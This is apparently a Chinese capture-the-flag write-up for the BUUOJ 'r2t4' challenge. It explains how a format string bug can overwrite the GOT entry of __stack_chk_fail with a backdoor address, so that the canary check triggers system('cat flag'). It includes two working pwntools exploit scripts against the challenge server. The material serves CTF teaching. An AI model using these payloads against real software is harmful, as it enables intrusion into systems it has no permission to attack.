Canary绕过,利用格式化字符串漏洞,劫持__stack_chk_fail。
开了Partial Relro GOT表可写,只是full Relro才是got表只读。
这里看见格式化字符串漏洞,就是泄露Canary,gdb调试和一串%p即泄露canary,但是不能二次read,有了Canary也回不去。
-
修改通过格式化字符串任意地址写将__stack_chkfail的got表为backdoor函数的地址,然后触发canary保护,使得程序跳转到_stack_chkfail并执行,而此时_stack_chk_fail的Got表已经被修改为backdoor函数的地址,它就会执行system(“cat flag”)只需用fmtstr_payload函数就可以了
-
当canary被改写时,程序执行流会走到__stack_chk_fail函数,这个函数是用来检查Canary的
exp:
from pwn import*
a=remote('nod3.buuoj.cn',26654)
context.log_level="debug"
context(arch='amd64',os='linux',word_size='64')
elf=ELF('./r2t4')
backdoor_addr=0x0000000000400626
stack = elf.got["__stack_chk_fail"]
payload2=fmtstr_payload(6,{stack:backdoor_addr})
a.sendline(payload2)
a.interactive()
下面是不用 fmtstr_payload 的修改方法,原理是一样的
from pwn import*
a=remote('nod3.buuoj.cn',26654)
context.log_level="debug"
context(arch='amd64',os='linux',word_size='64')
elf=ELF('./r2t4')
shell=0x0000000000400626
stack = elf.got["__stack_chk_fail"]
payload2="%64c%9$hn%1510c%10$hnAAA" + p64(stack + 2) + p64(stack)
a.sendline(payload2)
a.interactive()